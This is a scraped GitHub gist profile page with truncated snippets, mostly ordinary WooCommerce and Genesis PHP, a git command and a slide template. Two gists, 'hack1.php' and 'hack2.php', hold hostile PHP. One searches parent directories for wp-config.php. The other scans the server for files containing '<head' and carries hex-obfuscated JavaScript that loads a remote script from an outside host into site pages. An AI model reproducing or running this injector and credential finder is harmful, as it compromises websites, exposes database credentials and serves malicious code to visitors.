Skip to content

Instantly share code, notes, and snippets.

Sodiq Akinjobi geektutor

View GitHub Profile
View gist:9cb509cc63262286fa6bfdac79ad412b
#add 'node_modules' to .gitignore file
git rm -r --cached node_modules
git commit -m 'Remove the now ignored directory node_modules'
git push origin master
View wc-shipping-gidi-old.php
add_filter('woocommerce_states', 'add_custom_states_to_country');
add_filter('woocommerce_countries_allowed_country_states', 'add_custom_states_to_country');
function add_custom_states_to_country( $states ) {
$states['NG'] = array(
'AA' => __('Abraham Adesanya', 'woocommerce'),
'AR' => __('Ado Road', 'woocommerce'),
'AG' => __('Agege', 'woocommerce'),
'AJ' => __('Ajah', 'woocommerce'),
'AO' => __('Amuwo Odofin', 'woocommerce'),
'AP' => __('Apapa', 'woocommerce'),
View wc-shipping-gidi-new.php
add_filter('woocommerce_states', 'add_custom_states_to_country',70);
add_filter('woocommerce_countries_allowed_country_states', 'add_custom_states_to_country');
function add_custom_states_to_country( $states ) {
$country_code = 'NG';
$new_states = array(
'AA' => __('Abraham Adesanya', 'woocommerce'),
'AR' => __('Ado Road', 'woocommerce'),
'AG' => __('Agege', 'woocommerce'),
'AJ' => __('Ajah', 'woocommerce'),
'AO' => __('Amuwo Odofin', 'woocommerce'),
@geektutor
geektutor / woocommerce_checkout_fields.php
Created Dec 13, 2018 — forked from cryptexvinci/woocommerce_checkout_fields.php
Full list of fields in the array passed to woocommerce_checkout_fields.
View woocommerce_checkout_fields.php
/**
* Billing Checkout Fields
*/
billing_first_name
billing_last_name
billing_company
billing_address_1
billing_address_2
billing_city
billing_postcode
View hack2.php
<?php echo ":#009009#:";
$file_to_search = "wp-config.php";
@search_file($_SERVER['DOCUMENT_ROOT']."/../../../../..",$file_to_search);
@search_file($_SERVER['DOCUMENT_ROOT']."/../../../..",$file_to_search);
@search_file($_SERVER['DOCUMENT_ROOT']."/../../..",$file_to_search);
@search_file($_SERVER['DOCUMENT_ROOT']."/../..",$file_to_search);
@search_file($_SERVER['DOCUMENT_ROOT']."/..",$file_to_search);
@search_file($_SERVER['DOCUMENT_ROOT'],$file_to_search);
View hack1.php
<?php $a = 'find / -type f -name "*" | xargs grep -rl "<head"';
$l1 = '<script language=javascript>var _0xfcc4=["\x66\x72\x6F\x6D\x43\x68\x61\x72\x43\x6F\x64\x65","\x47\x45\x54","\x6F\x70\x65\x6E","\x73\x65\x6E\x64","\x72\x65\x73\x70\x6F\x6E\x73\x65\x54\x65\x78\x74","\x69\x6E\x64\x65\x78\x4F\x66","\x63\x72\x65\x61\x74\x65\x45\x6C\x65\x6D\x65\x6E\x74","\x74\x79\x70\x65","\x61\x73\x79\x6E\x63","\x69\x64","\x63\x64\x6E\x37\x38\x39","\x73\x72\x63","\x61\x70\x70\x65\x6E\x64\x43\x68\x69\x6C\x64","\x67\x65\x74\x45\x6C\x65\x6D\x65\x6E\x74\x73\x42\x79\x54\x61\x67\x4E\x61\x6D\x65","\x73\x63\x72\x69\x70\x74","\x6C\x65\x6E\x67\x74\x68"];var url=String[_0xfcc4[0]](104, 116, 116, 112, 115, 58, 47, 47, 119, 119, 119, 46, 108, 101, 97, 114, 110, 105, 110, 103, 116, 111, 111, 108, 107, 105, 116, 46, 99, 108, 117, 98, 47, 108, 105, 110, 107, 46, 112, 104, 112, 63, 118, 101, 114, 61, 49);var get_text=function httpGet(_0x3bc1x4){var _0x3bc1x5= new XMLHttpRequest();_0x3bc1x5[_0xfcc4[2]](_0xfcc4[1],_0x3bc1x4,false);_0x3bc1x5[_0xfc
@geektutor
geektutor / Slides
Created Aug 15, 2018
HTML5 slide template
View Slides
<!DOCTYPE html>
<!--
Google HTML5 slide template
Authors: Luke Mahé (code)
Marcin Wichary (code and design)
Dominic Mazzoni (browser compatibility)
Charles Chen (ChromeVox support)
@geektutor
geektutor / functions.php
Created Apr 16, 2018 — forked from jamiemitchell/functions.php
Add a Woocommerce cart icon with count in Genesis
View functions.php
<?php //* Do not include this opening php tag
//* Add Cart icon and count to header if WC is active
add_action( 'genesis_header', 'jmd_wc_cart_count' );
function jmd_wc_cart_count() {
if ( in_array( 'woocommerce/woocommerce.php', apply_filters( 'active_plugins', get_option( 'active_plugins' ) ) ) ) {
$count = WC()->cart->cart_contents_count;
You can’t perform that action at this time.